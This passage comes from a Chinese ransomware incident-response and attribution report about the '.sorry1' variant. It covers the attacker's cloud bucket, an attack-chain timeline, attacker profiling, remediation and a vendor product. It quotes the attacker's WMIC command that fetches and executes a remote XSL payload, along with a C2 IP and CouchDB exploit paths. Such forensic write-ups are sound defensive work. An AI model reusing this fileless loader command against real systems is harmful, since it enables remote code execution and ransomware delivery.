5.4 蚁剑截图:国内攻击者的"签名"

在存储桶中,我们还发现了一张极具辨识度的截图文件:0024_20260409_114412_abc.png。

这张图片的上传时间是 2026 年 4 月 9 日 11:11,画面显示的是攻击者在使用**蚁剑(中国菜刀的替代工具)**客户端连接一句话木马时,自动生成的、经过 URL 编码的 PHP 执行指令。

攻击者上传的蚁剑客户端操作截图

蚁剑是一款在国内安全圈和黑产圈广泛使用的 WebShell 管理工具,其界面风格、编码特征和使用习惯,都具有鲜明的"中国特色"。这张截图的存在,几乎就是在告诉我们:操作这台电脑的攻击者,大概率是一个说中文、用中文工具、熟悉国内 Web 渗透套路的人。

此外,截图中暴露的操作习惯(使用蚁剑而不是 Cobalt Strike、Metasploit 等国际主流工具)、文件命名风格(abc.png 这种随意的中文式命名)、以及截图时间(北京时间上午 11 点,正常的工作时间),都指向同一个结论:攻击者的作案手法与国内黑产组织、国内攻击者的特征高度吻合。

5.5 更多发现:自动化载荷与漏洞利用痕迹

在对存储桶文件做进一步分析时,我们还发现了以下值得注意的内容:

1. 疑似 C2 框架的自动化 Payload:

存储桶中存在大量大小惊人一致的文件(约 11970 字节),文件名呈现 3 级随机目录结构(如 13y/IicxKj/qZjg1u6R)。这种高度结构化的命名和统一的文件大小,绝对不是人类手动上传的,而是某种 C2 框架(如 Cobalt Strike、Sliver)或僵尸网络的自动化 Payload 生成器产物。

2. Apache CouchDB 漏洞利用载荷:

在文件列表中发现了 _config/query_servers/cmd 和 _users/org.couchdb.user:guest1 等路径。这是极其典型的 **Apache CouchDB 远程命令执行漏洞(CVE-2017-12636)**的利用载荷:攻击者甚至把 OSS 当成了漏洞利用配置的存储端。

3. 新版 XSL 变种:

列表中出现了 config.xsl 和 config(均在 2026 年 6 月 5 日更新),这可能是 new.xsl 的后续版本,或者是用于不同攻击场景的配置投递文件。

六、攻击链全景还原与攻击者画像

6.1 完整攻击链推演

综合以上所有溯源信息,我们将本次攻击的完整链条还原如下:

阶段 时间节点 关键动作 证据来源
侦察探测 攻击前 1~2 天 攻击者通过网络空间测绘或漏洞扫描,发现目标暴露的金蝶 EAS 7.0 SP3 存在代码执行漏洞 金蝶 EAS 版本确认 + 漏洞验证
初始入侵 2026-06-05 00:37 前 利用金蝶 EAS 代码执行漏洞,执行系统命令,通过 WMIC 远程加载 XSL 文件 Defender 查杀日志(WMIC.exe)
载荷投递 2026-06-05 00:37:52 wmic process get /format:"http://migusto.oss-us-east-1.aliyuncs.com/new.xsl" WebCacheV01.dat 中提取的 URL
缓存落地 同一秒 WinINet 自动将 XSL 缓存到 INetCache\IE\0NOWIZK4\new[1].xsl Defender 查杀路径
内存执行 缓存后立即 XSL 内嵌 JScript 执行,通过 .NET 反序列化加载 FileEncryptor20.dll 逆向分析确认
C2 回连 加密前 向 165.22.77.41 回传受害者信息 逆向分析中提取的 C2 地址
服务停止 加密前 停止 MSSQLSERVER、SQLWriter 等数据库相关服务 逆向分析中的服务列表
文件加密 2026-06-05 00:37 起 对超过 200 种扩展名的高价值文件进行 AES-GCM + RSA-2048 混合加密 被加密文件时间戳
勒索信投递 加密完成后 在每个被加密目录释放 README.md,引导受害者前往淘宝或TOX购买密钥 勒索信内容

6.2 攻击者画像:为什么高度疑似国内黑产组织

基于本次溯源的全部证据,我们从多个维度对攻击者进行了画像分析:

  1. 工具偏好(最强证据)
  • 使用蚁剑(AntSword)作为 WebShell 管理工具:蚁剑是国内开发、国内流行的工具,在国际黑产圈中知名度远低于 Cobalt Strike、Metasploit 等

  • 使用阿里云 OSS 作为载荷分发平台:选择国内云厂商,说明攻击者对国内网络环境的可达性和审核机制更为熟悉

  • 语言与文化特征
  • 存储桶中的文件命名大量使用中文拼音(woainilaohu、laohuaini 等)

  • "老虎"等词汇属于国内黑产圈特有的黑话体系

  • 勒索信引导受害者前往淘宝购买密钥,而非暗网或加密货币:说明攻击者深谙国内受害者的支付习惯和心理预期

  • 作案时间与作息规律
  • 蚁剑截图的拍摄时间为北京时间 2026 年 4 月 9 日 11:11(上午工作时间)

  • 攻击执行时间为凌晨 00:37(典型的国内黑产"夜间作业"模式)

  • 整体作息规律符合国内时区

  • 技术能力评估
  • 能够利用金蝶 EAS 的代码执行漏洞进行初始入侵:具备基本的漏洞利用能力

  • 熟练运用 XSL + WMIC 的无文件攻击技术:具备一定的免杀和对抗经验

  • 对 .NET 反序列化漏洞的利用相当成熟:具备逆向分析和 Payload 开发能力

  • 使用阿里云 OSS 做"水坑"式载荷分发:具备一定的基础设施运营能力

  • 劫持企业 OSS 存储桶作为免费分发平台:说明攻击者可能具备扫描和 exploiting 云配置漏洞的能力

  • 运营特征
  • 存储桶中存在从 2021 年到 2026 年的长期文件残留:说明这个 OSS 可能被长期控制和使用

  • 文件类型涵盖勒索载荷、黑帽 SEO、博彩跳转等多种黑灰产业务:说明攻击者或攻击组织可能同时运营多条业务线

  • 存在大量自动化生成的 Payload:说明具备一定的工具链开发和自动化运营能力

综合判断: 本次攻击的作案手法、工具偏好、文化特征和运营方式,均与国内黑产组织的常见画像高度吻合。攻击者大概率是一个以国内为活动基地、熟悉国内网络环境和受害者特征、具备中等偏上技术能力的黑产团伙。

变种:.sorry1勒索病毒攻击时间线

七、闭环运营与长效防护

7.1 事件处置总结

完成攻击链还原和存储桶深度分析后,我们协助客户完成了以下闭环处置工作:

  1. 隔离止血: 受影响服务器立即断网隔离,阻断攻击者的持续访问通道

  2. 恶意文件清理: 清除所有被加密的勒索信文件、残留的 XSL 缓存文件,以及可能被植入的后门

  3. 金蝶 EAS 漏洞修复: 协助客户升级到不受该漏洞影响的新版本,并完成补丁验证

  4. 访问入口收敛: 关闭不必要的公网端口映射,将金蝶 EAS 和 SQL Server 的访问收缩至 VPN 或零信任网关之后

  5. 凭证全面重置: 强制修改所有服务器管理密码,启用多因素认证

7.2 SAR 防勒索 AI 疫苗的部署

基于本次事件的复盘和客户面临的长期勒索威胁,我们向客户推荐了 SAR(Security AI Response)防勒索 AI 疫苗产品。

需要说明的是,我们推荐 SAR 的逻辑并不是"有了它就不用担心任何勒索病毒了":任何安全产品都不是银弹。SAR 的核心价值在于,它在终端侧提供了一层基于 AI 行为预测的实时防护能力。当加密勒索行为出现时,系统能够在毫秒级完成识别,并通过密钥捕获技术自动备份加密密钥。一旦确认攻击,SAR 可基于捕获的密钥在 30 分钟内完成数据还原,将业务中断时间压缩到最低。

对于像 .sorry1 这样加密逻辑严谨、无法通过逆向分析直接解密的家族,SAR 的"事中拦截 + 密钥捕获"能力尤其有意义:它解决的不是"解密"问题,而是"在最短时间内恢复业务"的问题。

SAR 产品在终端上的运行状态界面

从技术架构上看,SAR 底层融合了深度学习、LLM 辅助研判、熵值判断及 BART 序列分析等能力,覆盖超过 3000 种已知勒索样本的行为特征库,同时支持轻量化部署,资源占用控制在 10% 以内。对于已经具备基础安全体系的企业,SAR 可以作为现有 EDR、SOC 架构的有效补充。

八、总结与实战建议

8.1 本次事件的核心启示

回顾这起 .sorry1 变种勒索病毒的完整应急与溯源过程,有以下几点经验值得分享:

第一,"三无"环境下的手工溯源仍然是应急响应的必备技能。

本次事件的现场没有安全设备、没有流量日志、没有 Web 访问日志:这是大量中小企业真实的网络安全现状。在这种情况下,如果只会依赖 SIEM 做关联分析、只会从防火墙日志里提取攻击 IP,那溯源工作将无从开展。真正有用的,是对 Windows 系统取证点的熟悉:INetCache 缓存目录、WebCacheV01.dat 数据库、Windows Defender 日志、事件查看器中的系统日志:这些"免费的"取证数据源,往往能在绝境中打开突破口。

第二,对系统合法组件的深度利用是免杀攻击的主流趋势。

从 XSL + WMIC 的攻击链条可以看出,攻击者越来越倾向于系统合法组件之上完成恶意行为。WMIC.exe 有微软签名、走的是标准 HTTP、下载的文件被当作"IE 缓存"处理:每一个环节单独看都是正常的。防御方如果仍然以"是否有恶意 PE 文件落地"作为核心检测指标,将会严重滞后于攻击者的技战术演进。

第三,云存储桶正成为黑产载荷分发的新型基础设施。

阿里云 OSS、腾讯云 COS、AWS S3 等对象存储服务,因其高可用、高信誉、低成本和易获取的特点,正在被越来越多的攻击者用作恶意载荷的分发平台。对于防御方来说,在出口网关上简单封堵".exe"、".dll"等扩展名的做法已经不够:需要建立对主流云存储域名(*.aliyuncs.com、*.myqcloud.com、*.amazonaws.com 等)的精细化流量检测能力,特别是对这些域名下的可疑文件下载行为进行审计。

8.2 检测规则与加固建议

检测规则

加固措施

8.3 IOC 汇总

本文案例由 Solar 应急响应团队共同完成。

应急溯源、分析与文章输出:州弟学安全(徐龙州)

恶意文件分析技术支持:Ch3rryWh1te(张沛垚)

文章排版与编辑:超级油麦

在企业日常的安全运维中,突发勒索病毒往往让人措手不及。遇到这种情况,正确的应急响应流程能够最大程度控制影响范围、降低数据损失。

这里为大家准备了一张完整的《勒索病毒应急处置指南》长图,建议各位安全从业者和IT运维人员收藏备用。如遇突发情况,请保持冷静,参考本图进行快速、规范的处置

附加资料下载: 防御与响应同样重要。扫描图末的二维码,还可以直接获取完整的《2025年勒索病毒年报》以及《勒索处置一体化》等专业文件,帮助大家深入了解当前的威胁趋势,提前做好防御规划。

安全无小事,掌握科学的处置流程,是我们应对突发安全事件最有效的武器。